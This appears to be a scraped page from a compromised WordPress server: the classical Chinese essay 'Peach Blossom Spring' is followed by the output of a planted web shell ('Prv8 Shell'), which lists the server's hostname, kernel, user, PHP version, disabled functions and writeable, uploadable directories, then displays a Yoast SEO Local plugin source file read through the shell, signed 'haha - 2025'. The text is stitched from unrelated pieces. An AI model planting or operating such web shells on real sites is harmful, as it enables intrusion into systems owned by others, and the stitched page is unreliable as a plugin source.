晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wpseo-local/classes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wpseo-local/classes/admin/class-admin-page.php
<?php
/**
 * Yoast SEO: Local plugin file.
 *
 * @package WPSEO_Local\Admin\
 * @since   4.1
 * @ToDo    CHECK THE @SINCE VERSION NUMBER!!!!!!!!
 */

if ( ! defined( 'WPSEO_LOCAL_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

if ( ! class_exists( 'WPSEO_Local_Admin_Page' ) ) {

	/**
	 * WPSEO_Local_Admin_Page class.
	 *
	 * Build the WPSEO Local admin form.
	 *
	 * @since   4.0
	 */
	class WPSEO_Local_Admin_Page {

		/**
		 * Array containing the tabs for the WPSEO Local Admin Page.
		 *
		 * @var array
		 */
		public static $tabs;

		/**
		 * Array containing help center videos.
		 *
		 * @var array
		 */
		public static $videos;

		/**
		 * WPSEO_Local_Admin_Page constructor.
		 */
		public function __construct() {
			add_action( 'admin_init', array( $this, 'set_tabs' ) );
			add_action( 'admin_init', array( $this, 'set_videos' ) );
		}

		/**
		 * Apply filters on array holding the tabs.
		 */
		public function set_tabs() {
			self::$tabs = apply_filters( 'wpseo_local_admin_tabs', self::$tabs );
		}

		/**
		 * Apply filters on array holding the help center videos.
		 */
		public function set_videos() {
			self::$videos = apply_filters( 'wpseo_local_admin_help_center_video', self::$videos );
		}

		/**
		 * Build the WPSEO Local Admin page.
		 */
		public static function build_page() {
			// Admin header.
			WPSEO_Local_Admin_Wrappers::admin_header( true, 'yoast_wpseo_local_options', 'wpseo_local' );


			// Adding tabs.
			self::create_tabs();
			self::tab_content();

			// Admin footer.
			WPSEO_Local_Admin_Wrappers::admin_footer();
		}

		/**
		 * Function to create tabs for general and API settings.
		 */
		private static function create_tabs() {
			echo '<h2 class="nav-tab-wrapper" id="wpseo-tabs">';
			foreach ( self::$tabs as $slug => $title ) {

				echo '<a class="nav-tab" id="' . $slug . '-tab" href="#top#' . $slug . '">' . $title . '</a>';
			}
			echo '</h2>';
		}

		/**
		 * Add content to the admin tabs.
		 */
		private static function tab_content() {
			if ( class_exists( 'WPSEO_Help_Center' ) && version_compare( WPSEO_VERSION, '5.6', '>=' ) ) {
				$videos = apply_filters( 'wpseo_local_help_center_videos', self::$videos );

				$tabs = new WPSEO_Option_Tabs( '', '' );
				foreach ( self::$tabs as $slug => $title ) {
					$tab = new WPSEO_Option_Tab( $slug, $title, array( 'video_url' => isset( $videos[ $slug ] ) ? $videos[ $slug ] : '' ) );
					$tabs->add_tab( $tab );
				}

				$help_center = new WPSEO_Help_Center( '', $tabs, true );
				$help_center->localize_data();
				$help_center->mount();
			}

			foreach ( self::$tabs as $slug => $title ) {
				self::section_before( $slug, null, 'wpseotab ' . ( $slug === current( array_keys( self::$tabs ) ) ? 'active' : '' ) );

				self::help_center( $slug, $title );

				self::section_before( 'local-' . $slug, null, 'yoastbox paper tab-block search-appearance' );
				self::section_before( 'local-' . $slug . '-container', null, 'paper-container' );
				do_action( 'wpseo_local_admin_' . $slug . '_before_title', $slug );
				echo '<h2>' . esc_attr( self::$tabs[ $slug ] ) . '</h2>';
				do_action( 'wpseo_local_admin_' . $slug . '_content', $slug );
				self::section_after();
				self::section_after();

				// End yoastbox.
				self::section_after();
			}
		}

		/**
		 * Show help center on WPSEO Local Admin tabs.
		 *
		 * @param string $slug  Slug of the tab.
		 * @param string $title Title of the tab.
		 */
		private static function help_center( $slug, $title ) {
			if ( class_exists( 'WPSEO_Help_Center' ) && version_compare( WPSEO_VERSION, '5.6', '<' ) ) {
				$videos = apply_filters( 'wpseo_local_help_center_videos', self::$videos );

				$tab         = new WPSEO_Option_Tab( $slug, $title, array( 'video_url' => isset( $videos[ $slug ] ) ? $videos[ $slug ] : '' ) );
				$help_center = new WPSEO_Help_Center( $slug, $tab );
				$help_center->output_help_center();
			}
		}

		/**
		 * Use this function to create sections between settings.
		 *
		 * @param string $id    ID of the section.
		 * @param string $style Styling for the section.
		 * @param string $class Class names for the section.
		 */
		public static function section_before( $id = '', $style = '', $class = '' ) {
			echo '<div' . ( isset( $id ) ? ' id="' . $id . '"' : '' ) . '' . ( ! empty( $style ) ? ' style="' . $style . '"' : '' ) . '' . ( ! empty( $class ) ? ' class="' . $class . '"' : '' ) . '>';
		}

		/**
		 * Use this function to close a section.
		 */
		public static function section_after() {
			echo '</div>';
		}
	}
}

haha - 2025